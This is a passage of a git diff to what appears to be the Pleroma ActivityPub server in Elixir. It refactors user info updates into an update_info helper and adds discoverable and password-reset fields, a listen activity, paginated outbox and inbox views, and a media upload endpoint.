get_followers_query(user, nil)) + user + |> get_followers_query(nil) |> User.Query.paginate(page, 20) end @@ -670,25 +658,24 @@ def get_followers_query(user), do: get_followers_query(user, nil) @spec get_followers(User.t(), pos_integer()) :: {:ok, list(User.t())} def get_followers(user, page \\ nil) do - q = get_followers_query(user, page) - - {:ok, Repo.all(q)} + user + |> get_followers_query(page) + |> Repo.all() end @spec get_external_followers(User.t(), pos_integer()) :: {:ok, list(User.t())} def get_external_followers(user, page \\ nil) do - q = - user - |> get_followers_query(page) - |> User.Query.build(%{external: true}) - - {:ok, Repo.all(q)} + user + |> get_followers_query(page) + |> User.Query.build(%{external: true}) + |> Repo.all() end def get_followers_ids(user, page \\ nil) do - q = get_followers_query(user, page) - - Repo.all(from(u in q, select: u.id)) + user + |> get_followers_query(page) + |> select([u], u.id) + |> Repo.all() end @spec get_friends_query(User.t(), pos_integer() | nil) :: Ecto.Query.t() @@ -697,7 +684,8 @@ def get_friends_query(%User{} = user, nil) do end def get_friends_query(user, page) do - from(u in get_friends_query(user, nil)) + user + |> get_friends_query(nil) |> User.Query.paginate(page, 20) end @@ -705,28 +693,27 @@ def get_friends_query(user, page) do def get_friends_query(user), do: get_friends_query(user, nil) def get_friends(user, page \\ nil) do - q = get_friends_query(user, page) - - {:ok, Repo.all(q)} + user + |> get_friends_query(page) + |> Repo.all() end def get_friends_ids(user, page \\ nil) do - q = get_friends_query(user, page) - - Repo.all(from(u in q, select: u.id)) + user + |> get_friends_query(page) + |> select([u], u.id) + |> Repo.all() end @spec get_follow_requests(User.t()) :: {:ok, [User.t()]} def get_follow_requests(%User{} = user) do - users = - Activity.follow_requests_for_actor(user) - |> join(:inner, [a], u in User, on: a.actor == u.ap_id) - |> where([a, u], not fragment("? @> ?", u.following, ^[user.follower_address])) - |> group_by([a, u], u.id) - |> select([a, u], u) - |> Repo.all() - - {:ok, users} + user + |> Activity.follow_requests_for_actor() + |> join(:inner, [a], u in User, on: a.actor == u.ap_id) + |> where([a, u], not fragment("? @> ?", u.following, ^[user.follower_address])) + |> group_by([a, u], u.id) + |> select([a, u], u) + |> Repo.all() end def increase_note_count(%User{} = user) do @@ -772,20 +759,27 @@ def decrease_note_count(%User{} = user) do end def update_note_count(%User{} = user) do - note_count_query = + note_count = from( a in Object, where: fragment("?->>'actor' = ? and ?->>'type' = 'Note'", a.data, ^user.ap_id, a.data), select: count(a.id) ) + |> Repo.one() - note_count = Repo.one(note_count_query) + update_info(user, &User.Info.set_note_count(&1, note_count)) + end - info_cng = User.Info.set_note_count(user.info, note_count) + def update_mascot(user, url) do + info_changeset = + User.Info.mascot_update( + user.info, + url + ) user |> change() - |> put_embed(:info, info_cng) + |> put_embed(:info, info_changeset) |> update_and_set_cache() end @@ -803,17 +797,7 @@ def maybe_fetch_follow_information(user) do def fetch_follow_information(user) do with {:ok, info} <- ActivityPub.fetch_follow_information_for_user(user) do - info_cng = User.Info.follow_information_update(user.info, info) - - changeset = - user - |> change() - |> put_embed(:info, info_cng) - - update_and_set_cache(changeset) - else - {:error, _} = e -> e - e -> {:error, e} + update_info(user, &User.Info.follow_information_update(&1, info)) end end @@ -887,62 +871,28 @@ def get_recipients_from_activity(%Activity{recipients: to}) do @spec mute(User.t(), User.t(), boolean()) :: {:ok, User.t()} | {:error, String.t()} def mute(muter, %User{ap_id: ap_id}, notifications? \\ true) do - info = muter.info - - info_cng = - User.Info.add_to_mutes(info, ap_id) - |> User.Info.add_to_muted_notifications(info, ap_id, notifications?) - - cng = - change(muter) - |> put_embed(:info, info_cng) - - update_and_set_cache(cng) + update_info(muter, &User.Info.add_to_mutes(&1, ap_id, notifications?)) end def unmute(muter, %{ap_id: ap_id}) do - info = muter.info - - info_cng = - User.Info.remove_from_mutes(info, ap_id) - |> User.Info.remove_from_muted_notifications(info, ap_id) - - cng = - change(muter) - |> put_embed(:info, info_cng) - - update_and_set_cache(cng) + update_info(muter, &User.Info.remove_from_mutes(&1, ap_id)) end def subscribe(subscriber, %{ap_id: ap_id}) do - deny_follow_blocked = Pleroma.Config.get([:user, :deny_follow_blocked]) - with %User{} = subscribed <- get_cached_by_ap_id(ap_id) do - blocked = blocks?(subscribed, subscriber) and deny_follow_blocked + deny_follow_blocked = Pleroma.Config.get([:user, :deny_follow_blocked]) - if blocked do + if blocks?(subscribed, subscriber) and deny_follow_blocked do {:error, "Could not subscribe: #{subscribed.nickname} is blocking you"} else - info_cng = - subscribed.info - |> User.Info.add_to_subscribers(subscriber.ap_id) - - change(subscribed) - |> put_embed(:info, info_cng) - |> update_and_set_cache() + update_info(subscribed, &User.Info.add_to_subscribers(&1, subscriber.ap_id)) end end end def unsubscribe(unsubscriber, %{ap_id: ap_id}) do with %User{} = user <- get_cached_by_ap_id(ap_id) do - info_cng = - user.info - |> User.Info.remove_from_subscribers(unsubscriber.ap_id) - - change(user) - |> put_embed(:info, info_cng) - |> update_and_set_cache() + update_info(user, &User.Info.remove_from_subscribers(&1, unsubscriber.ap_id)) end end @@ -971,21 +921,11 @@ def block(blocker, %User{ap_id: ap_id} = blocked) do blocker end - if following?(blocked, blocker) do - unfollow(blocked, blocker) - end + if following?(blocked, blocker), do: unfollow(blocked, blocker) {:ok, blocker} = update_follower_count(blocker) - info_cng = - blocker.info - |> User.Info.add_to_block(ap_id) - - cng = - change(blocker) - |> put_embed(:info, info_cng) - - update_and_set_cache(cng) + update_info(blocker, &User.Info.add_to_block(&1, ap_id)) end # helper to handle the block given only an actor's AP id @@ -994,15 +934,7 @@ def block(blocker, %{ap_id: ap_id}) do end def unblock(blocker, %{ap_id: ap_id}) do - info_cng = - blocker.info - |> User.Info.remove_from_block(ap_id) - - cng = - change(blocker) - |> put_embed(:info, info_cng) - - update_and_set_cache(cng) + update_info(blocker, &User.Info.remove_from_block(&1, ap_id)) end def mutes?(nil, _), do: false @@ -1059,27 +991,11 @@ def subscribers(user) do end def block_domain(user, domain) do - info_cng = - user.info - |> User.Info.add_to_domain_block(domain) - - cng = - change(user) - |> put_embed(:info, info_cng) - - update_and_set_cache(cng) + update_info(user, &User.Info.add_to_domain_block(&1, domain)) end def unblock_domain(user, domain) do - info_cng = - user.info - |> User.Info.remove_from_domain_block(domain) - - cng = - change(user) - |> put_embed(:info, info_cng) - - update_and_set_cache(cng) + update_info(user, &User.Info.remove_from_domain_block(&1, domain)) end def deactivate_async(user, status \\ true) do @@ -1087,51 +1003,41 @@ def deactivate_async(user, status \\ true) do end def deactivate(%User{} = user, status \\ true) do - info_cng = User.Info.set_activation_status(user.info, status) - - with {:ok, friends} <- User.get_friends(user), - {:ok, followers} <- User.get_followers(user), - {:ok, user} <- - user - |> change() - |> put_embed(:info, info_cng) - |> update_and_set_cache() do - Enum.each(followers, &invalidate_cache(&1)) - Enum.each(friends, &update_follower_count(&1)) + with {:ok, user} <- update_info(user, &User.Info.set_activation_status(&1, status)) do + Enum.each(get_followers(user), &invalidate_cache/1) + Enum.each(get_friends(user), &update_follower_count/1) {:ok, user} end end def update_notification_settings(%User{} = user, settings \\ %{}) do - info_changeset = User.Info.update_notification_settings(user.info, settings) - - change(user) - |> put_embed(:info, info_changeset) - |> update_and_set_cache() + update_info(user, &User.Info.update_notification_settings(&1, settings)) end def delete(%User{} = user) do BackgroundWorker.enqueue("delete_user", %{"user_id" => user.id}) end + def perform(:force_password_reset, user), do: force_password_reset(user) + @spec perform(atom(), User.t()) :: {:ok, User.t()} def perform(:delete, %User{} = user) do {:ok, _user} = ActivityPub.delete(user) # Remove all relationships - {:ok, followers} = User.get_followers(user) - - Enum.each(followers, fn follower -> + user + |> get_followers() + |> Enum.each(fn follower -> ActivityPub.unfollow(follower, user) - User.unfollow(follower, user) + unfollow(follower, user) end) - {:ok, friends} = User.get_friends(user) - - Enum.each(friends, fn followed -> + user + |> get_friends() + |> Enum.each(fn followed -> ActivityPub.unfollow(user, followed) - User.unfollow(user, followed) + unfollow(user, followed) end) delete_user_activities(user) @@ -1143,13 +1049,11 @@ def perform(:delete, %User{} = user) do def perform(:fetch_initial_posts, %User{} = user) do pages = Pleroma.Config.get!([:fetch_initial_posts, :pages]) - Enum.each( - # Insert all the posts in reverse order, so they're in the right order on the timeline - Enum.reverse(Utils.fetch_ordered_collection(user.info.source_data["outbox"], pages)), - &Pleroma.Web.Federator.incoming_ap_doc/1 - ) - - {:ok, user} + # Insert all the posts in reverse order, so they're in the right order on the timeline + user.info.source_data["outbox"] + |> Utils.fetch_ordered_collection(pages) + |> Enum.reverse() + |> Enum.each(&Pleroma.Web.Federator.incoming_ap_doc/1) end def perform(:deactivate_async, user, status), do: deactivate(user, status) @@ -1235,16 +1139,12 @@ def follow_import(%User{} = follower, followed_identifiers) }) end - def delete_user_activities(%User{ap_id: ap_id} = user) do + def delete_user_activities(%User{ap_id: ap_id}) do ap_id |> Activity.Queries.by_actor() |> RepoStreamer.chunk_stream(50) - |> Stream.each(fn activities -> - Enum.each(activities, &delete_activity(&1)) - end) + |> Stream.each(fn activities -> Enum.each(activities, &delete_activity/1) end) |> Stream.run() - - {:ok, user} end defp delete_activity(%{data: %{"type" => "Create"}} = activity) do @@ -1254,17 +1154,19 @@ defp delete_activity(%{data: %{"type" => "Create"}} = activity) do end defp delete_activity(%{data: %{"type" => "Like"}} = activity) do - user = get_cached_by_ap_id(activity.actor) object = Object.normalize(activity) - ActivityPub.unlike(user, object) + activity.actor + |> get_cached_by_ap_id() + |> ActivityPub.unlike(object) end defp delete_activity(%{data: %{"type" => "Announce"}} = activity) do - user = get_cached_by_ap_id(activity.actor) object = Object.normalize(activity) - ActivityPub.unannounce(user, object) + activity.actor + |> get_cached_by_ap_id() + |> ActivityPub.unannounce(object) end defp delete_activity(_activity), do: "Doing nothing" @@ -1276,9 +1178,7 @@ def html_filter_policy(%User{info: %{no_rich_text: true}}) do def html_filter_policy(_), do: Pleroma.Config.get([:markup, :scrub_policy]) def fetch_by_ap_id(ap_id) do - ap_try = ActivityPub.make_user_from_ap_id(ap_id) - - case ap_try do + case ActivityPub.make_user_from_ap_id(ap_id) do {:ok, user} -> {:ok, user} @@ -1293,7 +1193,7 @@ def fetch_by_ap_id(ap_id) do def get_or_fetch_by_ap_id(ap_id) do user = get_cached_by_ap_id(ap_id) - if !is_nil(user) and !User.needs_update?(user) do + if !is_nil(user) and !needs_update?(user) do {:ok, user} else # Whether to fetch initial posts for the user (if it's a new user & the fetching is enabled) @@ -1313,19 +1213,20 @@ def get_or_fetch_by_ap_id(ap_id) do @doc "Creates an internal service actor by URI if missing. Optionally takes nickname for addressing." def get_or_create_service_actor_by_ap_id(uri, nickname \\ nil) do - if user = get_cached_by_ap_id(uri) do + with %User{} = user <- get_cached_by_ap_id(uri) do user else - changes = - %User{info: %User.Info{}} - |> cast(%{}, [:ap_id, :nickname, :local]) - |> put_change(:ap_id, uri) - |> put_change(:nickname, nickname) - |> put_change(:local, true) - |> put_change(:follower_address, uri <> "/followers") + _ -> + {:ok, user} = + %User{info: %User.Info{}} + |> cast(%{}, [:ap_id, :nickname, :local]) + |> put_change(:ap_id, uri) + |> put_change(:nickname, nickname) + |> put_change(:local, true) + |> put_change(:follower_address, uri <> "/followers") + |> Repo.insert() - {:ok, user} = Repo.insert(changes) - user + user end end @@ -1382,23 +1283,21 @@ def get_or_fetch(nickname), do: get_or_fetch_by_nickname(nickname) # this is because we have synchronous follow APIs and need to simulate them # with an async handshake def wait_and_refresh(_, %User{local: true} = a, %User{local: true} = b) do - with %User{} = a <- User.get_cached_by_id(a.id), - %User{} = b <- User.get_cached_by_id(b.id) do + with %User{} = a <- get_cached_by_id(a.id), + %User{} = b <- get_cached_by_id(b.id) do {:ok, a, b} else - _e -> - :error + nil -> :error end end def wait_and_refresh(timeout, %User{} = a, %User{} = b) do with :ok <- :timer.sleep(timeout), - %User{} = a <- User.get_cached_by_id(a.id), - %User{} = b <- User.get_cached_by_id(b.id) do + %User{} = a <- get_cached_by_id(a.id), + %User{} = b <- get_cached_by_id(b.id) do {:ok, a, b} else - _e -> - :error + nil -> :error end end @@ -1460,7 +1359,7 @@ defp update_tags(%User{} = user, new_tags) do defp normalize_tags(tags) do [tags] |> List.flatten() - |> Enum.map(&String.downcase(&1)) + |> Enum.map(&String.downcase/1) end defp local_nickname_regex do @@ -1553,11 +1452,7 @@ def list_inactive_users_query(inactivity_threshold \\ 7) do @spec switch_email_notifications(t(), String.t(), boolean()) :: {:ok, t()} | {:error, Ecto.Changeset.t()} def switch_email_notifications(user, type, status) do - info = Pleroma.User.Info.update_email_notifications(user.info, %{type => status}) - - change(user) - |> put_embed(:info, info) - |> update_and_set_cache() + update_info(user, &User.Info.update_email_notifications(&1, %{type => status})) end @doc """ @@ -1579,13 +1474,8 @@ def touch_last_digest_emailed_at(user) do def toggle_confirmation(%User{} = user) do need_confirmation? = !user.info.confirmation_pending - info_changeset = - User.Info.confirmation_changeset(user.info, need_confirmation: need_confirmation?) - user - |> change() - |> put_embed(:info, info_changeset) - |> update_and_set_cache() + |> update_info(&User.Info.confirmation_changeset(&1, need_confirmation: need_confirmation?)) end def get_mascot(%{info: %{mascot: %{} = mascot}}) when not is_nil(mascot) do @@ -1608,16 +1498,11 @@ def get_mascot(%{info: %{mascot: mascot}}) when is_nil(mascot) do } end - def ensure_keys_present(%User{info: info} = user) do - if info.keys do - {:ok, user} - else - {:ok, pem} = Keys.generate_rsa_pem() + def ensure_keys_present(%{info: %{keys: keys}} = user) when not is_nil(keys), do: {:ok, user} - user - |> Ecto.Changeset.change() - |> Ecto.Changeset.put_embed(:info, User.Info.set_keys(info, pem)) - |> update_and_set_cache() + def ensure_keys_present(%User{} = user) do + with {:ok, pem} <- Keys.generate_rsa_pem() do + update_info(user, &User.Info.set_keys(&1, pem)) end end @@ -1663,4 +1548,26 @@ def change_email(user, email) do |> validate_format(:email, @email_regex) |> update_and_set_cache() end + + @doc """ + Changes `user.info` and returns the user changeset. + + `fun` is called with the `user.info`. + """ + def change_info(user, fun) do + changeset = change(user) + info = get_field(changeset, :info) || %User.Info{} + put_embed(changeset, :info, fun.(info)) + end + + @doc """ + Updates `user.info` and sets cache. + + `fun` is called with the `user.info`. + """ + def update_info(user, fun) do + user + |> change_info(fun) + |> update_and_set_cache() + end end diff --git a/lib/pleroma/user/info.ex b/lib/pleroma/user/info.ex index b150a57cd..ebd4ddebf 100644 --- a/lib/pleroma/user/info.ex +++ b/lib/pleroma/user/info.ex @@ -20,6 +20,7 @@ defmodule Pleroma.User.Info do field(:following_count, :integer, default: nil) field(:locked, :boolean, default: false) field(:confirmation_pending, :boolean, default: false) + field(:password_reset_pending, :boolean, default: false) field(:confirmation_token, :string, default: nil) field(:default_scope, :string, default: "public") field(:blocks, {:array, :string}, default: []) @@ -53,6 +54,7 @@ defmodule Pleroma.User.Info do field(:pleroma_settings_store, :map, default: %{}) field(:fields, {:array, :map}, default: nil) field(:raw_fields, {:array, :map}, default: []) + field(:discoverable, :boolean, default: false) field(:notification_settings, :map, default: %{ @@ -82,6 +84,14 @@ def set_activation_status(info, deactivated) do |> validate_required([:deactivated]) end + def set_password_reset_pending(info, pending) do + params = %{password_reset_pending: pending} + + info + |> cast(params, [:password_reset_pending]) + |> validate_required([:password_reset_pending]) + end + def update_notification_settings(info, settings) do settings = settings @@ -178,16 +188,11 @@ def set_subscribers(info, subscribers) do |> validate_required([:subscribers]) end - @spec add_to_mutes(Info.t(), String.t()) :: Changeset.t() - def add_to_mutes(info, muted) do - set_mutes(info, Enum.uniq([muted | info.mutes])) - end - - @spec add_to_muted_notifications(Changeset.t(), Info.t(), String.t(), boolean()) :: - Changeset.t() - def add_to_muted_notifications(changeset, info, muted, notifications?) do - set_notification_mutes( - changeset, + @spec add_to_mutes(Info.t(), String.t(), boolean()) :: Changeset.t() + def add_to_mutes(info, muted, notifications?) do + info + |> set_mutes(Enum.uniq([muted | info.mutes])) + |> set_notification_mutes( Enum.uniq([muted | info.muted_notifications]), notifications? ) @@ -195,12 +200,9 @@ def add_to_muted_notifications(changeset, info, muted, notifications?) do @spec remove_from_mutes(Info.t(), String.t()) :: Changeset.t() def remove_from_mutes(info, muted) do - set_mutes(info, List.delete(info.mutes, muted)) - end - - @spec remove_from_muted_notifications(Changeset.t(), Info.t(), String.t()) :: Changeset.t() - def remove_from_muted_notifications(changeset, info, muted) do - set_notification_mutes(changeset, List.delete(info.muted_notifications, muted), true) + info + |> set_mutes(List.delete(info.mutes, muted)) + |> set_notification_mutes(List.delete(info.muted_notifications, muted), true) end def add_to_block(info, blocked) do @@ -268,7 +270,8 @@ def remote_user_creation(info, params) do :hide_follows_count, :follower_count, :fields, - :following_count + :following_count, + :discoverable ]) |> validate_fields(true) end @@ -286,6 +289,7 @@ def user_upgrade(info, params, remote? \\ false) do :hide_follows, :fields, :hide_followers, + :discoverable, :hide_followers_count, :hide_follows_count ]) @@ -309,7 +313,8 @@ def profile_update(info, params) do :skip_thread_containment, :fields, :raw_fields, - :pleroma_settings_store + :pleroma_settings_store, + :discoverable ]) |> validate_fields() end @@ -333,9 +338,7 @@ defp valid_field?(%{"name" => name, "value" => value}) do name_limit = Pleroma.Config.get([:instance, :account_field_name_length], 255) value_limit = Pleroma.Config.get([:instance, :account_field_value_length], 255) - is_binary(name) && - is_binary(value) && - String.length(name) <= name_limit && + is_binary(name) && is_binary(value) && String.length(name) <= name_limit && String.length(value) <= value_limit end diff --git a/lib/pleroma/web/activity_pub/activity_pub.ex b/lib/pleroma/web/activity_pub/activity_pub.ex index e1e90d667..95f994c17 100644 --- a/lib/pleroma/web/activity_pub/activity_pub.ex +++ b/lib/pleroma/web/activity_pub/activity_pub.ex @@ -248,6 +248,26 @@ def create(%{to: to, actor: actor, context: context, object: object} = params, f end end + def listen(%{to: to, actor: actor, context: context, object: object} = params) do + additional = params[:additional] || %{} + # only accept false as false value + local = !(params[:local] == false) + published = params[:published] + + with listen_data <- + make_listen_data( + %{to: to, actor: actor, published: published, context: context, object: object}, + additional + ), + {:ok, activity} <- insert(listen_data, local), + :ok <- maybe_federate(activity) do + {:ok, activity} + else + {:error, message} -> + {:error, message} + end + end + def accept(%{to: to, actor: actor, object: object} = params) do # only accept false as false value local = !(params[:local] == false) @@ -510,7 +530,7 @@ def fetch_activities_for_context(context, opts \\ %{}) do end @spec fetch_latest_activity_id_for_context(String.t(), keyword() | map()) :: - Pleroma.FlakeId.t() | nil + FlakeId.Ecto.CompatType.t() | nil def fetch_latest_activity_id_for_context(context, opts \\ %{}) do context |> fetch_activities_for_context_query(Map.merge(%{"skip_preload" => true}, opts)) @@ -519,12 +539,13 @@ def fetch_latest_activity_id_for_context(context, opts \\ %{}) do |> Repo.one() end - def fetch_public_activities(opts \\ %{}) do - q = fetch_activities_query([Pleroma.Constants.as_public()], opts) + def fetch_public_activities(opts \\ %{}, pagination \\ :keyset) do + opts = Map.drop(opts, ["user"]) - q + [Pleroma.Constants.as_public()] + |> fetch_activities_query(opts) |> restrict_unlisted() - |> Pagination.fetch_paginated(opts) + |> Pagination.fetch_paginated(opts, pagination) |> Enum.reverse() end @@ -587,6 +608,23 @@ defp restrict_thread_visibility(query, %{"user" => %User{ap_id: ap_id}}, _) do defp restrict_thread_visibility(query, _, _), do: query + def fetch_user_abstract_activities(user, reading_user, params \\ %{}) do + params = + params + |> Map.put("user", reading_user) + |> Map.put("actor_id", user.ap_id) + |> Map.put("whole_db", true) + + recipients = + user_activities_recipients(%{ + "godmode" => params["godmode"], + "reading_user" => reading_user + }) + + fetch_activities(recipients, params) + |> Enum.reverse() + end + def fetch_user_activities(user, reading_user, params \\ %{}) do params = params @@ -833,7 +871,7 @@ defp restrict_muted_reblogs(query, %{"muting_user" => %User{info: info}}) do defp restrict_muted_reblogs(query, _), do: query - defp exclude_poll_votes(query, %{"include_poll_votes" => "true"}), do: query + defp exclude_poll_votes(query, %{"include_poll_votes" => true}), do: query defp exclude_poll_votes(query, _) do if has_named_binding?(query, :object) do @@ -917,11 +955,11 @@ def fetch_activities_query(recipients, opts \\ %{}) do |> exclude_poll_votes(opts) end - def fetch_activities(recipients, opts \\ %{}) do + def fetch_activities(recipients, opts \\ %{}, pagination \\ :keyset) do list_memberships = Pleroma.List.memberships(opts["user"]) fetch_activities_query(recipients ++ list_memberships, opts) - |> Pagination.fetch_paginated(opts) + |> Pagination.fetch_paginated(opts, pagination) |> Enum.reverse() |> maybe_update_cc(list_memberships, opts["user"]) end @@ -952,10 +990,15 @@ def fetch_activities_bounded_query(query, recipients, recipients_with_public) do ) end - def fetch_activities_bounded(recipients, recipients_with_public, opts \\ %{}) do + def fetch_activities_bounded( + recipients, + recipients_with_public, + opts \\ %{}, + pagination \\ :keyset + ) do fetch_activities_query([], opts) |> fetch_activities_bounded_query(recipients, recipients_with_public) - |> Pagination.fetch_paginated(opts) + |> Pagination.fetch_paginated(opts, pagination) |> Enum.reverse() end @@ -995,6 +1038,7 @@ defp object_to_user_data(data) do locked = data["manuallyApprovesFollowers"] || false data = Transmogrifier.maybe_fix_user_object(data) + discoverable = data["discoverable"] || false user_data = %{ ap_id: data["id"], @@ -1003,7 +1047,8 @@ defp object_to_user_data(data) do source_data: data, banner: banner, fields: fields, - locked: locked + locked: locked, + discoverable: discoverable }, avatar: avatar, name: data["name"], diff --git a/lib/pleroma/web/activity_pub/activity_pub_controller.ex b/lib/pleroma/web/activity_pub/activity_pub_controller.ex index 5ea749141..c349a7048 100644 --- a/lib/pleroma/web/activity_pub/activity_pub_controller.ex +++ b/lib/pleroma/web/activity_pub/activity_pub_controller.ex @@ -54,7 +54,8 @@ def user(conn, %{"nickname" => nickname}) do {:ok, user} <- User.ensure_keys_present(user) do conn |> put_resp_content_type("application/activity+json") - |> json(UserView.render("user.json", %{user: user})) + |> put_view(UserView) + |> render("user.json", %{user: user}) else nil -> {:error, :not_found} end @@ -95,7 +96,8 @@ def object_likes(conn, %{"uuid" => uuid, "page" => page}) do conn |> put_resp_content_type("application/activity+json") - |> json(ObjectView.render("likes.json", ap_id, likes, page)) + |> put_view(ObjectView) + |> render("likes.json", %{ap_id: ap_id, likes: likes, page: page}) else {:public?, false} -> {:error, :not_found} @@ -109,7 +111,8 @@ def object_likes(conn, %{"uuid" => uuid}) do likes <- Utils.get_object_likes(object) do conn |> put_resp_content_type("application/activity+json") - |> json(ObjectView.render("likes.json", ap_id, likes)) + |> put_view(ObjectView) + |> render("likes.json", %{ap_id: ap_id, likes: likes}) else {:public?, false} -> {:error, :not_found} @@ -163,7 +166,8 @@ defp set_cache_ttl_for(conn, entity) do def following(%{assigns: %{relay: true}} = conn, _params) do conn |> put_resp_content_type("application/activity+json") - |> json(UserView.render("following.json", %{user: Relay.get_actor()})) + |> put_view(UserView) + |> render("following.json", %{user: Relay.get_actor()}) end def following(%{assigns: %{user: for_user}} = conn, %{"nickname" => nickname, "page" => page}) do @@ -175,7 +179,8 @@ def following(%{assigns: %{user: for_user}} = conn, %{"nickname" => nickname, "p conn |> put_resp_content_type("application/activity+json") - |> json(UserView.render("following.json", %{user: user, page: page, for: for_user})) + |> put_view(UserView) + |> render("following.json", %{user: user, page: page, for: for_user}) else {:show_follows, _} -> conn @@ -189,7 +194,8 @@ def following(%{assigns: %{user: for_user}} = conn, %{"nickname" => nickname}) d {user, for_user} <- ensure_user_keys_present_and_maybe_refresh_for_user(user, for_user) do conn |> put_resp_content_type("application/activity+json") - |> json(UserView.render("following.json", %{user: user, for: for_user})) + |> put_view(UserView) + |> render("following.json", %{user: user, for: for_user}) end end @@ -197,7 +203,8 @@ def following(%{assigns: %{user: for_user}} = conn, %{"nickname" => nickname}) d def followers(%{assigns: %{relay: true}} = conn, _params) do conn |> put_resp_content_type("application/activity+json") - |> json(UserView.render("followers.json", %{user: Relay.get_actor()})) + |> put_view(UserView) + |> render("followers.json", %{user: Relay.get_actor()}) end def followers(%{assigns: %{user: for_user}} = conn, %{"nickname" => nickname, "page" => page}) do @@ -209,7 +216,8 @@ def followers(%{assigns: %{user: for_user}} = conn, %{"nickname" => nickname, "p conn |> put_resp_content_type("application/activity+json") - |> json(UserView.render("followers.json", %{user: user, page: page, for: for_user})) + |> put_view(UserView) + |> render("followers.json", %{user: user, page: page, for: for_user}) else {:show_followers, _} -> conn @@ -223,16 +231,48 @@ def followers(%{assigns: %{user: for_user}} = conn, %{"nickname" => nickname}) d {user, for_user} <- ensure_user_keys_present_and_maybe_refresh_for_user(user, for_user) do conn |> put_resp_content_type("application/activity+json") - |> json(UserView.render("followers.json", %{user: user, for: for_user})) + |> put_view(UserView) + |> render("followers.json", %{user: user, for: for_user}) end end - def outbox(conn, %{"nickname" => nickname} = params) do + def outbox(conn, %{"nickname" => nickname, "page" => page?} = params) + when page? in [true, "true"] do + with %User{} = user <- User.get_cached_by_nickname(nickname), + {:ok, user} <- User.ensure_keys_present(user) do + activities = + if params["max_id"] do + ActivityPub.fetch_user_activities(user, nil, %{ + "max_id" => params["max_id"], + # This is a hack because postgres generates inefficient queries when filtering by + # 'Answer', poll votes will be hidden by the visibility filter in this case anyway + "include_poll_votes" => true, + "limit" => 10 + }) + else + ActivityPub.fetch_user_activities(user, nil, %{ + "limit" => 10, + "include_poll_votes" => true + }) + end + + conn + |> put_resp_content_type("application/activity+json") + |> put_view(UserView) + |> render("activity_collection_page.json", %{ + activities: activities, + iri: "#{user.ap_id}/outbox" + }) + end + end + + def outbox(conn, %{"nickname" => nickname}) do with %User{} = user <- User.get_cached_by_nickname(nickname), {:ok, user} <- User.ensure_keys_present(user) do conn |> put_resp_content_type("application/activity+json") - |> json(UserView.render("outbox.json", %{user: user, max_id: params["max_id"]})) + |> put_view(UserView) + |> render("activity_collection.json", %{iri: "#{user.ap_id}/outbox"}) end end @@ -280,7 +320,8 @@ defp represent_service_actor(%User{} = user, conn) do with {:ok, user} <- User.ensure_keys_present(user) do conn |> put_resp_content_type("application/activity+json") - |> json(UserView.render("user.json", %{user: user})) + |> put_view(UserView) + |> render("user.json", %{user: user}) else nil -> {:error, :not_found} end @@ -298,22 +339,49 @@ def internal_fetch(conn, _params) do |> represent_service_actor(conn) end + @doc "Returns the authenticated user's ActivityPub User object or a 404 Not Found if non-authenticated" def whoami(%{assigns: %{user: %User{} = user}} = conn, _params) do conn |> put_resp_content_type("application/activity+json") - |> json(UserView.render("user.json", %{user: user})) + |> put_view(UserView) + |> render("user.json", %{user: user}) end def whoami(_conn, _params), do: {:error, :not_found} def read_inbox( %{assigns: %{user: %{nickname: nickname} = user}} = conn, - %{"nickname" => nickname} = params - ) do + %{"nickname" => nickname, "page" => page?} = params + ) + when page? in [true, "true"] do + activities = + if params["max_id"] do + ActivityPub.fetch_activities([user.ap_id | user.following], %{ + "max_id" => params["max_id"], + "limit" => 10 + }) + else + ActivityPub.fetch_activities([user.ap_id | user.following], %{"limit" => 10}) + end + conn |> put_resp_content_type("application/activity+json") |> put_view(UserView) - |> render("inbox.json", user: user, max_id: params["max_id"]) + |> render("activity_collection_page.json", %{ + activities: activities, + iri: "#{user.ap_id}/inbox" + }) + end + + def read_inbox(%{assigns: %{user: %{nickname: nickname} = user}} = conn, %{ + "nickname" => nickname + }) do + with {:ok, user} <- User.ensure_keys_present(user) do + conn + |> put_resp_content_type("application/activity+json") + |> put_view(UserView) + |> render("activity_collection.json", %{iri: "#{user.ap_id}/inbox"}) + end end def read_inbox(%{assigns: %{user: nil}} = conn, %{"nickname" => nickname}) do @@ -447,4 +515,31 @@ defp ensure_user_keys_present_and_maybe_refresh_for_user(user, for_user) do {new_user, for_user} end + + # TODO: Add support for "object" field + @doc """ + Endpoint based on + + Parameters: + - (required) `file`: data of the media + - (optionnal) `description`: description of the media, intended for accessibility + + Response: + - HTTP Code: 201 Created + - HTTP Body: ActivityPub object to be inserted into another's `attachment` field + """ + def upload_media(%{assigns: %{user: user}} = conn, %{"file" => file} = data) do + with {:ok, object} <- + ActivityPub.upload( + file, + actor: User.ap_id(user), + description: Map.get(data, "description") + ) do + Logger.debug(inspect(object)) + + conn + |> put_status(:created) + |> json(object.data) + end + end end diff --git a/lib/pleroma/web/activity_pub/publisher.ex b/lib/pleroma/web/activity_pub/publisher.ex index 114251b24..3866dacee 100644 --- a/lib/pleroma/web/activity_pub/publisher.ex +++ b/lib/pleroma/web/activity_pub/publisher.ex @@ -111,11 +111,11 @@ defp should_federate?(inbox, public) do @spec recipients(User.t(), Activity.t()) :: list(User.t()) | [] defp recipients(actor, activity) do - {:ok, followers} = + followers = if actor.follower_address in activity.recipients do User.get_external_followers(actor) else - {:ok, []} + [] end fetchers = diff --git a/lib/pleroma/web/activity_pub/transmogrifier.ex b/lib/pleroma/web/activity_pub/transmogrifier.ex index 5878fb4f8..63877248a 100644 --- a/lib/pleroma/web/activity_pub/transmogrifier.ex +++ b/lib/pleroma/web/activity_pub/transmogrifier.ex @@ -42,8 +42,7 @@ def fix_object(object, options \\ []) do end def fix_summary(%{"summary" => nil} = object) do - object - |> Map.put("summary", "") + Map.put(object, "summary", "") end def fix_summary(%{"summary" => _} = object) do @@ -51,10 +50,7 @@ def fix_summary(%{"summary" => _} = object) do object end - def fix_summary(object) do - object - |> Map.put("summary", "") - end + def fix_summary(object), do: Map.put(object, "summary", "") def fix_addressing_list(map, field) do cond do @@ -74,13 +70,9 @@ def fix_explicit_addressing( explicit_mentions, follower_collection ) do - explicit_to = - to - |> Enum.filter(fn x -> x in explicit_mentions end) + explicit_to = Enum.filter(to, fn x -> x in explicit_mentions end) - explicit_cc = - to - |> Enum.filter(fn x -> x not in explicit_mentions end) + explicit_cc = Enum.filter(to, fn x -> x not in explicit_mentions end) final_cc = (cc ++ explicit_cc) @@ -98,13 +90,19 @@ def fix_explicit_addressing(object, _explicit_mentions, _followers_collection), def fix_explicit_addressing(%{"directMessage" => true} = object), do: object def 